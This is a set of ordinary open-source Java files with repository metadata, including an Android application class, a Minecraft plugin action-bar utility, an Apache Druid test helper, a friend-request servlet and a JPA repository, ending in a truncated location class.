| no_license | xingyuz233/genusbar | https://github.com/xingyuz233/genusbar | e22261a690c15c66fd469176896cfa7282020437 | e76cb5e51107d89699cd6ce952c4896e145805db | refs/heads/master | 2020-03-29T18:32:55.049000 | 2018-11-29T17:30:11 | 2018-11-29T17:30:11 | 150,219,479 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.ecolab.mike.genusbar_app.base;
import android.app.Application;
import com.ecolab.mike.genusbar_sdk.api.GenusbarAPI;
import com.ecolab.mike.genusbar_sdk.utils.DataCache;
public class BaseApplication extends Application {
@Override
public void onCreate() {
super.onCreate();
DataCache.init(this);
GenusbarAPI.init(this);
}
}
| UTF-8 | Java | 375 | java | BaseApplication.java | Java | []
| null | []
| package com.ecolab.mike.genusbar_app.base;
import android.app.Application;
import com.ecolab.mike.genusbar_sdk.api.GenusbarAPI;
import com.ecolab.mike.genusbar_sdk.utils.DataCache;
public class BaseApplication extends Application {
@Override
public void onCreate() {
super.onCreate();
DataCache.init(this);
GenusbarAPI.init(this);
}
}
| 375 | 0.717333 | 0.717333 | 16 | 22.4375 | 19.338978 | 52 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.4375 | false | false | 14 |
6c8b52f8649c73df06d4081b0396eb2449e71825 | 3,702,261,815,023 | a907a9f3c5957f42da3ddd5317a44e5b4122b782 | /com/yovez/ipactionbar/ActionBarUtil.java | fe765f4bebc4c1f9189763c5873120530905a91e | [
"MIT"
]
| permissive | VenomMC/IPActionBar | https://github.com/VenomMC/IPActionBar | 0c9d67c192af43a54bac70488b852e12aa3a2496 | 96158dc5a3ce2f3c5971671c7842dd3b4488afd2 | refs/heads/master | 2022-12-14T14:30:39.456000 | 2020-06-12T21:55:50 | 2020-06-12T21:55:50 | 271,896,738 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.yovez.ipactionbar;
import java.util.HashMap;
import java.util.Map;
import org.bukkit.craftbukkit.v1_12_R1.entity.CraftPlayer;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import com.sun.istack.internal.NotNull;
import net.minecraft.server.v1_12_R1.IChatBaseComponent;
import net.minecraft.server.v1_12_R1.IChatBaseComponent.ChatSerializer;
import net.minecraft.server.v1_12_R1.PacketPlayOutChat;
public class ActionBarUtil {
private static final Map<Player, BukkitTask> PENDING_MESSAGES = new HashMap<>();
/**
* Sends a message to the player's action bar.
* <p/>
* The message will appear above the player's hot bar for 2 seconds and then
* fade away over 1 second.
*
* @param bukkitPlayer the player to send the message to.
* @param message the message to send.
*/
public static void sendActionBarMessage(@NotNull Player bukkitPlayer, @NotNull String message) {
sendRawActionBarMessage(bukkitPlayer, "{\"text\": \"" + message + "\"}");
}
/**
* Sends a raw message (JSON format) to the player's action bar. Note: while the
* action bar accepts raw messages it is currently only capable of displaying
* text.
* <p/>
* The message will appear above the player's hot bar for 2 seconds and then
* fade away over 1 second.
*
* @param bukkitPlayer the player to send the message to.
* @param rawMessage the json format message to send.
*/
public static void sendRawActionBarMessage(@NotNull Player bukkitPlayer, @NotNull String rawMessage) {
CraftPlayer player = (CraftPlayer) bukkitPlayer;
IChatBaseComponent chatBaseComponent = ChatSerializer.a(rawMessage);
PacketPlayOutChat packetPlayOutChat = new PacketPlayOutChat(chatBaseComponent);
player.getHandle().playerConnection.sendPacket(packetPlayOutChat);
}
/**
* Sends a message to the player's action bar that lasts for an extended
* duration.
* <p/>
* The message will appear above the player's hot bar for the specified duration
* and fade away during the last second of the duration.
* <p/>
* Only one long duration message can be sent at a time per player. If a new
* message is sent via this message any previous messages still being displayed
* will be replaced.
*
* @param bukkitPlayer the player to send the message to.
* @param message the message to send.
* @param duration the duration the message should be visible for in
* seconds.
* @param plugin the plugin sending the message.
*/
public static void sendActionBarMessage(@NotNull final Player bukkitPlayer, @NotNull final String message,
@NotNull final int duration, @NotNull Plugin plugin) {
cancelPendingMessages(bukkitPlayer);
final BukkitTask messageTask = new BukkitRunnable() {
private int count = 0;
@Override
public void run() {
if (count >= (duration - 3)) {
this.cancel();
}
sendActionBarMessage(bukkitPlayer, message);
count++;
}
}.runTaskTimer(plugin, 0L, 20L);
PENDING_MESSAGES.put(bukkitPlayer, messageTask);
}
private static void cancelPendingMessages(@NotNull Player bukkitPlayer) {
if (PENDING_MESSAGES.containsKey(bukkitPlayer)) {
PENDING_MESSAGES.get(bukkitPlayer).cancel();
}
}
}
| UTF-8 | Java | 3,416 | java | ActionBarUtil.java | Java | []
| null | []
| package com.yovez.ipactionbar;
import java.util.HashMap;
import java.util.Map;
import org.bukkit.craftbukkit.v1_12_R1.entity.CraftPlayer;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import com.sun.istack.internal.NotNull;
import net.minecraft.server.v1_12_R1.IChatBaseComponent;
import net.minecraft.server.v1_12_R1.IChatBaseComponent.ChatSerializer;
import net.minecraft.server.v1_12_R1.PacketPlayOutChat;
public class ActionBarUtil {
private static final Map<Player, BukkitTask> PENDING_MESSAGES = new HashMap<>();
/**
* Sends a message to the player's action bar.
* <p/>
* The message will appear above the player's hot bar for 2 seconds and then
* fade away over 1 second.
*
* @param bukkitPlayer the player to send the message to.
* @param message the message to send.
*/
public static void sendActionBarMessage(@NotNull Player bukkitPlayer, @NotNull String message) {
sendRawActionBarMessage(bukkitPlayer, "{\"text\": \"" + message + "\"}");
}
/**
* Sends a raw message (JSON format) to the player's action bar. Note: while the
* action bar accepts raw messages it is currently only capable of displaying
* text.
* <p/>
* The message will appear above the player's hot bar for 2 seconds and then
* fade away over 1 second.
*
* @param bukkitPlayer the player to send the message to.
* @param rawMessage the json format message to send.
*/
public static void sendRawActionBarMessage(@NotNull Player bukkitPlayer, @NotNull String rawMessage) {
CraftPlayer player = (CraftPlayer) bukkitPlayer;
IChatBaseComponent chatBaseComponent = ChatSerializer.a(rawMessage);
PacketPlayOutChat packetPlayOutChat = new PacketPlayOutChat(chatBaseComponent);
player.getHandle().playerConnection.sendPacket(packetPlayOutChat);
}
/**
* Sends a message to the player's action bar that lasts for an extended
* duration.
* <p/>
* The message will appear above the player's hot bar for the specified duration
* and fade away during the last second of the duration.
* <p/>
* Only one long duration message can be sent at a time per player. If a new
* message is sent via this message any previous messages still being displayed
* will be replaced.
*
* @param bukkitPlayer the player to send the message to.
* @param message the message to send.
* @param duration the duration the message should be visible for in
* seconds.
* @param plugin the plugin sending the message.
*/
public static void sendActionBarMessage(@NotNull final Player bukkitPlayer, @NotNull final String message,
@NotNull final int duration, @NotNull Plugin plugin) {
cancelPendingMessages(bukkitPlayer);
final BukkitTask messageTask = new BukkitRunnable() {
private int count = 0;
@Override
public void run() {
if (count >= (duration - 3)) {
this.cancel();
}
sendActionBarMessage(bukkitPlayer, message);
count++;
}
}.runTaskTimer(plugin, 0L, 20L);
PENDING_MESSAGES.put(bukkitPlayer, messageTask);
}
private static void cancelPendingMessages(@NotNull Player bukkitPlayer) {
if (PENDING_MESSAGES.containsKey(bukkitPlayer)) {
PENDING_MESSAGES.get(bukkitPlayer).cancel();
}
}
}
| 3,416 | 0.711651 | 0.704333 | 93 | 34.731182 | 30.152351 | 107 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.548387 | false | false | 14 |
17549d4155601ff1cf059a0cc4068f092bce77a1 | 28,398,323,766,439 | e8626f9f64a8bb90008015b06856d3da16eeecad | /processing/src/test/java/org/apache/druid/segment/serde/cell/TestCasesConfig.java | 078113cc72a1e86d8906babdf655f3bf75790b2a | [
"EPL-1.0",
"Classpath-exception-2.0",
"ISC",
"GPL-2.0-only",
"BSD-3-Clause",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-generic-cla",
"0BSD",
"LicenseRef-scancode-sun-no-high-risk-activities",
"LicenseRef-scancode-free-unknown",
"JSON",
"LicenseRef-scancode-unicode",
"CC-BY-SA-3.0",
"LGPL-2.1-only",
"LicenseRef-scancode-other-permissive",
"LicenseRef-scancode-westhawk",
"CDDL-1.1",
"BSD-2-Clause",
"EPL-2.0",
"CDDL-1.0",
"GCC-exception-3.1",
"MPL-2.0",
"CC-PDDC",
"MIT",
"LicenseRef-scancode-unicode-icu-58",
"LicenseRef-scancode-unknown-license-reference"
]
| permissive | apache/druid | https://github.com/apache/druid | bb1b20be5104882e4eeb045d109b559f396086c0 | d4e972e1e4b798d7e057e910deea4d192fe57952 | refs/heads/master | 2023-09-05T02:41:03.009000 | 2023-09-04T07:48:55 | 2023-09-04T07:48:55 | 6,358,188 | 4,364 | 1,629 | Apache-2.0 | false | 2023-09-14T21:04:46 | 2012-10-23T19:08:07 | 2023-09-14T21:04:40 | 2023-09-14T21:04:46 | 324,885 | 12,839 | 3,591 | 1,383 | Java | false | false | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.druid.segment.serde.cell;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.LinkedHashMap;
import java.util.Map;
public class TestCasesConfig<T>
{
private final MethodCallCapturer<T> methodCallCapturer;
private final Class<T> testCasesInterface;
private final Class<? extends T> testClassImpl;
private final Map<TestMethodHandle, TestCaseResult> testCasesToRun = new LinkedHashMap<>();
public TestCasesConfig(Class<T> testCasesInterface, Class<? extends T> testClassImpl)
{
methodCallCapturer = new MethodCallCapturer<>(testCasesInterface);
this.testCasesInterface = testCasesInterface;
this.testClassImpl = testClassImpl;
}
public TestCasesConfig<T> setTestCaseValue(TestMethodHandle testMethodHandle, TestCaseResult expectedResult)
{
testCasesToRun.put(testMethodHandle, expectedResult);
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, TestCaseResult expectedResult)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, expectedResult);
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, int sizeBytes)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(sizeBytes));
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, byte[] bytes)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(bytes));
return this;
}
public TestCasesConfig<T> enableTestCase(MethodAccess<T, Exception> methodAccess)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(-1));
return this;
}
public TestCaseResult currentTestValue()
{
TestMethodHandle currentTestMethodHandle = getCurrentTestMethod();
return testCasesToRun.get(currentTestMethodHandle);
}
public boolean isCurrentTestEnabled()
{
TestMethodHandle currentTestMethodHandle = getCurrentTestMethod();
return testCasesToRun.containsKey(currentTestMethodHandle);
}
private TestMethodHandle capture(MethodAccess<T, Exception> access)
{
try {
Method method = methodCallCapturer.captureMethod(access);
TestMethodHandle testMethodHandle = new TestMethodHandle(method.getName());
return testMethodHandle;
}
catch (Throwable e) {
throw new RuntimeException(e);
}
}
private TestMethodHandle getCurrentTestMethod()
{
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
String thisMethodName = stackTrace[3].getMethodName();
return new TestMethodHandle(thisMethodName);
}
public class TestMethodHandle
{
private final String name;
public TestMethodHandle(String name)
{
this.name = name;
try {
// validate method exists
MethodHandles.lookup()
.findVirtual(testCasesInterface, name, MethodType.methodType(void.class));
// validate method exists
MethodHandles.lookup()
.findVirtual(testClassImpl, name, MethodType.methodType(void.class));
}
catch (NoSuchMethodException | IllegalAccessException e) {
throw new RuntimeException(e);
}
}
public String getName()
{
return testCasesInterface.getName() + "::void " + name + "()";
}
@Override
public int hashCode()
{
return getName().hashCode();
}
@Override
public boolean equals(Object obj)
{
if (obj != null && this.getClass().equals(obj.getClass())) {
return getName().equals(((TestMethodHandle) obj).getName());
}
return false;
}
@Override
public String toString()
{
return getName();
}
}
public interface MethodAccess<I, T extends Throwable>
{
void access(I input) throws T;
}
private static class MethodCallCapturer<T> implements InvocationHandler
{
private volatile Method lastMethod = null;
private final T wrapper;
@SuppressWarnings("unchecked")
public MethodCallCapturer(Class<T> clazz)
{
wrapper = (T) Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{clazz}, this);
}
public <E extends Throwable> Method captureMethod(MethodAccess<T, E> access) throws Throwable
{
access.access(wrapper);
return lastMethod;
}
@SuppressWarnings("ReturnOfNull")
@Override
public Object invoke(Object proxy, Method method, Object[] args)
{
lastMethod = method;
// unused
return null;
}
}
}
| UTF-8 | Java | 5,726 | java | TestCasesConfig.java | Java | []
| null | []
| /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.druid.segment.serde.cell;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.LinkedHashMap;
import java.util.Map;
public class TestCasesConfig<T>
{
private final MethodCallCapturer<T> methodCallCapturer;
private final Class<T> testCasesInterface;
private final Class<? extends T> testClassImpl;
private final Map<TestMethodHandle, TestCaseResult> testCasesToRun = new LinkedHashMap<>();
public TestCasesConfig(Class<T> testCasesInterface, Class<? extends T> testClassImpl)
{
methodCallCapturer = new MethodCallCapturer<>(testCasesInterface);
this.testCasesInterface = testCasesInterface;
this.testClassImpl = testClassImpl;
}
public TestCasesConfig<T> setTestCaseValue(TestMethodHandle testMethodHandle, TestCaseResult expectedResult)
{
testCasesToRun.put(testMethodHandle, expectedResult);
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, TestCaseResult expectedResult)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, expectedResult);
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, int sizeBytes)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(sizeBytes));
return this;
}
public TestCasesConfig<T> setTestCaseValue(MethodAccess<T, Exception> methodAccess, byte[] bytes)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(bytes));
return this;
}
public TestCasesConfig<T> enableTestCase(MethodAccess<T, Exception> methodAccess)
{
TestMethodHandle testMethodHandle = capture(methodAccess);
testCasesToRun.put(testMethodHandle, TestCaseResult.of(-1));
return this;
}
public TestCaseResult currentTestValue()
{
TestMethodHandle currentTestMethodHandle = getCurrentTestMethod();
return testCasesToRun.get(currentTestMethodHandle);
}
public boolean isCurrentTestEnabled()
{
TestMethodHandle currentTestMethodHandle = getCurrentTestMethod();
return testCasesToRun.containsKey(currentTestMethodHandle);
}
private TestMethodHandle capture(MethodAccess<T, Exception> access)
{
try {
Method method = methodCallCapturer.captureMethod(access);
TestMethodHandle testMethodHandle = new TestMethodHandle(method.getName());
return testMethodHandle;
}
catch (Throwable e) {
throw new RuntimeException(e);
}
}
private TestMethodHandle getCurrentTestMethod()
{
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
String thisMethodName = stackTrace[3].getMethodName();
return new TestMethodHandle(thisMethodName);
}
public class TestMethodHandle
{
private final String name;
public TestMethodHandle(String name)
{
this.name = name;
try {
// validate method exists
MethodHandles.lookup()
.findVirtual(testCasesInterface, name, MethodType.methodType(void.class));
// validate method exists
MethodHandles.lookup()
.findVirtual(testClassImpl, name, MethodType.methodType(void.class));
}
catch (NoSuchMethodException | IllegalAccessException e) {
throw new RuntimeException(e);
}
}
public String getName()
{
return testCasesInterface.getName() + "::void " + name + "()";
}
@Override
public int hashCode()
{
return getName().hashCode();
}
@Override
public boolean equals(Object obj)
{
if (obj != null && this.getClass().equals(obj.getClass())) {
return getName().equals(((TestMethodHandle) obj).getName());
}
return false;
}
@Override
public String toString()
{
return getName();
}
}
public interface MethodAccess<I, T extends Throwable>
{
void access(I input) throws T;
}
private static class MethodCallCapturer<T> implements InvocationHandler
{
private volatile Method lastMethod = null;
private final T wrapper;
@SuppressWarnings("unchecked")
public MethodCallCapturer(Class<T> clazz)
{
wrapper = (T) Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{clazz}, this);
}
public <E extends Throwable> Method captureMethod(MethodAccess<T, E> access) throws Throwable
{
access.access(wrapper);
return lastMethod;
}
@SuppressWarnings("ReturnOfNull")
@Override
public Object invoke(Object proxy, Method method, Object[] args)
{
lastMethod = method;
// unused
return null;
}
}
}
| 5,726 | 0.716207 | 0.715159 | 199 | 27.773869 | 29.220253 | 116 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.452261 | false | false | 14 |
39f18c178779c4210895ca62ce00919383bf20e4 | 2,448,131,368,747 | 157277719d7bcde84c23c5bb3ef7182cd06b51d6 | /src/java/com/friend/AddFriend.java | 6326e1ab0fb72c817b217e27c779d6c87afdc177 | [
"MIT"
]
| permissive | BijayaDas/FriendSociety | https://github.com/BijayaDas/FriendSociety | 87c1dcfc9e29a7fed94262a93be2b135ea2c5fd7 | b212ea5b1147e87f80e0f33f65eba8c8a3e7c89e | refs/heads/master | 2020-02-27T18:23:36.693000 | 2015-06-21T09:33:41 | 2015-06-21T09:33:41 | 37,798,990 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.friend;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.text.SimpleDateFormat;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/**
*
* @author padmanava
*/
public class AddFriend extends HttpServlet {
/**
* Processes requests for both HTTP <code>GET</code> and <code>POST</code> methods.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try
{
HttpSession session=request.getSession();
String sendfrom = request.getParameter("user_id");
String useridOwn = (String)session.getAttribute("userid");
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
String joindate=sdf.format(new java.util.Date());
Connection con = DBConnection.getConnection();
String sql0 = "Select user_id from friend where user_id=? and friend_id=?";
PreparedStatement ps0 = con.prepareStatement(sql0);
ps0.setString(1, useridOwn);
ps0.setString(2, sendfrom);
ResultSet rs=ps0.executeQuery();
if(rs.next())
{
request.setAttribute("status", sendfrom+" is already in your Friend List");
}
else
{
String sql = "insert into friend(user_id,friend_id,join_date) values(?,?,?)";
PreparedStatement ps = con.prepareStatement(sql);
ps.setString(1, useridOwn);
ps.setString(2, sendfrom);
ps.setString(3, joindate);
ps.executeUpdate();
PreparedStatement ps1 = con.prepareStatement(sql);
ps1.setString(1, sendfrom);
ps1.setString(2, useridOwn);
ps1.setString(3, joindate);
ps1.executeUpdate();
String sql2 = "delete from friend_request where send_from=? and send_to=?";
PreparedStatement ps2 =con.prepareStatement(sql2);
ps2.setString(1, sendfrom);
ps2.setString(2, useridOwn);
ps2.executeUpdate();
}
RequestDispatcher rd = getServletContext().getRequestDispatcher("/ViewFriend.jsp");
rd.forward(request, response);
}
catch(Exception e)
{
e.printStackTrace();
}
finally {
out.close();
}
}
// <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code.">
/**
* Handles the HTTP <code>GET</code> method.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Handles the HTTP <code>POST</code> method.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Returns a short description of the servlet.
* @return a String containing servlet description
*/
@Override
public String getServletInfo() {
return "Short description";
}// </editor-fold>
}
| UTF-8 | Java | 4,436 | java | AddFriend.java | Java | [
{
"context": "javax.servlet.http.HttpSession;\n\n/**\n *\n * @author padmanava\n */\npublic class AddFriend extends HttpServlet {\n",
"end": 581,
"score": 0.998284637928009,
"start": 572,
"tag": "USERNAME",
"value": "padmanava"
}
]
| null | []
| /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.friend;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.text.SimpleDateFormat;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/**
*
* @author padmanava
*/
public class AddFriend extends HttpServlet {
/**
* Processes requests for both HTTP <code>GET</code> and <code>POST</code> methods.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try
{
HttpSession session=request.getSession();
String sendfrom = request.getParameter("user_id");
String useridOwn = (String)session.getAttribute("userid");
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
String joindate=sdf.format(new java.util.Date());
Connection con = DBConnection.getConnection();
String sql0 = "Select user_id from friend where user_id=? and friend_id=?";
PreparedStatement ps0 = con.prepareStatement(sql0);
ps0.setString(1, useridOwn);
ps0.setString(2, sendfrom);
ResultSet rs=ps0.executeQuery();
if(rs.next())
{
request.setAttribute("status", sendfrom+" is already in your Friend List");
}
else
{
String sql = "insert into friend(user_id,friend_id,join_date) values(?,?,?)";
PreparedStatement ps = con.prepareStatement(sql);
ps.setString(1, useridOwn);
ps.setString(2, sendfrom);
ps.setString(3, joindate);
ps.executeUpdate();
PreparedStatement ps1 = con.prepareStatement(sql);
ps1.setString(1, sendfrom);
ps1.setString(2, useridOwn);
ps1.setString(3, joindate);
ps1.executeUpdate();
String sql2 = "delete from friend_request where send_from=? and send_to=?";
PreparedStatement ps2 =con.prepareStatement(sql2);
ps2.setString(1, sendfrom);
ps2.setString(2, useridOwn);
ps2.executeUpdate();
}
RequestDispatcher rd = getServletContext().getRequestDispatcher("/ViewFriend.jsp");
rd.forward(request, response);
}
catch(Exception e)
{
e.printStackTrace();
}
finally {
out.close();
}
}
// <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code.">
/**
* Handles the HTTP <code>GET</code> method.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Handles the HTTP <code>POST</code> method.
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Returns a short description of the servlet.
* @return a String containing servlet description
*/
@Override
public String getServletInfo() {
return "Short description";
}// </editor-fold>
}
| 4,436 | 0.633904 | 0.627592 | 128 | 33.65625 | 26.308695 | 123 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.601563 | false | false | 14 |
d97786c188b53d6f83004de7bbfd1670d884c497 | 32,332,513,821,262 | 71f0b4e889b4323cbf47bf4934566c330bee87b4 | /src/main/java/infostaff/repository/TblGroupRepository.java | 2cfbb32df4e7c113d96472fcfea7fccfb7acbeb3 | []
| no_license | ngocanhInfoplus/infostaff | https://github.com/ngocanhInfoplus/infostaff | 2309249d69e012e2f50a9ad5c18ae0dbcc507bb0 | ca160a6c13ef5a490a0709a0871c6c5d7b25c7f2 | refs/heads/master | 2022-12-04T00:32:57.461000 | 2020-08-17T06:39:46 | 2020-08-17T06:39:46 | 276,535,749 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package infostaff.repository;
import java.util.List;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import org.springframework.stereotype.Repository;
import infostaff.entity.TblGroupEntity;
@Repository
public interface TblGroupRepository extends JpaRepository<TblGroupEntity, String>{
@Query("SELECT a FROM TblGroupEntity a WHERE a.departmentEntity.departmentCode = :departmentCode")
List<TblGroupEntity> findByDepartmentCode(String departmentCode);
}
| UTF-8 | Java | 533 | java | TblGroupRepository.java | Java | []
| null | []
| package infostaff.repository;
import java.util.List;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import org.springframework.stereotype.Repository;
import infostaff.entity.TblGroupEntity;
@Repository
public interface TblGroupRepository extends JpaRepository<TblGroupEntity, String>{
@Query("SELECT a FROM TblGroupEntity a WHERE a.departmentEntity.departmentCode = :departmentCode")
List<TblGroupEntity> findByDepartmentCode(String departmentCode);
}
| 533 | 0.834897 | 0.834897 | 18 | 28.611111 | 31.808697 | 99 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.666667 | false | false | 14 |
9445cbacfdd4a57091b1a8d3fac1e107742cc433 | 30,700,426,263,626 | 8adc74f4feac5134f7f3ee038c20bf1338f5b4e8 | /src/BLL/PaisBLL.java | 82223aaf0d749d7c7e67cc33bbd25a00c53424a2 | []
| no_license | GutoVillela/Trabalho-faculdade | https://github.com/GutoVillela/Trabalho-faculdade | 39fa96ef3e462c7a3fb0614416f9efbd7f626656 | 59cf596f175365fe23adbd6c9a49536b3b65997b | refs/heads/master | 2021-08-14T15:24:16.839000 | 2017-11-16T03:45:58 | 2017-11-16T03:45:58 | 107,792,911 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package BLL;
public class PaisBLL {
private int codigo;
private String paisPt;
private String paisEn;
/**
* @return the codigo
*/
public int getCodigo() {
return codigo;
}
/**
* @param codigo the codigo to set
*/
public void setCodigo(int codigo) {
this.codigo = codigo;
}
/**
* @return the paisPt
*/
public String getPaisPt() {
return paisPt;
}
/**
* @param paisPt the paisPt to set
*/
public void setPaisPt(String paisPt) {
this.paisPt = paisPt;
}
/**
* @return the paisEn
*/
public String getPaisEn() {
return paisEn;
}
/**
* @param paisEn the paisEn to set
*/
public void setPaisEn(String paisEn) {
this.paisEn = paisEn;
}
}
| UTF-8 | Java | 838 | java | PaisBLL.java | Java | []
| null | []
| package BLL;
public class PaisBLL {
private int codigo;
private String paisPt;
private String paisEn;
/**
* @return the codigo
*/
public int getCodigo() {
return codigo;
}
/**
* @param codigo the codigo to set
*/
public void setCodigo(int codigo) {
this.codigo = codigo;
}
/**
* @return the paisPt
*/
public String getPaisPt() {
return paisPt;
}
/**
* @param paisPt the paisPt to set
*/
public void setPaisPt(String paisPt) {
this.paisPt = paisPt;
}
/**
* @return the paisEn
*/
public String getPaisEn() {
return paisEn;
}
/**
* @param paisEn the paisEn to set
*/
public void setPaisEn(String paisEn) {
this.paisEn = paisEn;
}
}
| 838 | 0.520286 | 0.520286 | 51 | 15.431373 | 13.337629 | 42 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.196078 | false | false | 14 |
fc9774c37cb910f22de9f14bbb3a1141d2ad4520 | 30,700,426,265,598 | d93351564dc417605f232d95924b0e92c39df0a7 | /app/src/main/java/com/smac/tushar/mylocation/LocationReq.java | e6c64ed93786c50181de2000b6efaf21e90c5683 | []
| no_license | tonysaha/MyLocation | https://github.com/tonysaha/MyLocation | f55689255d1152809bd67b2ee64ca55bfb99238d | d09bd1170d2dd01df74998e7a30058cd92912094 | refs/heads/master | 2020-03-23T17:54:17.007000 | 2018-08-12T08:49:18 | 2018-08-12T08:49:18 | 141,880,610 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.smac.tushar.mylocation;
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Address;
import android.location.Geocoder;
import android.location.Location;
import android.support.v4.app.ActivityCompat;
import android.util.Log;
import android.widget.Toast;
import com.google.android.gms.location.LocationListener;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import java.util.List;
public class LocationReq implements LocationListener {
Context context;
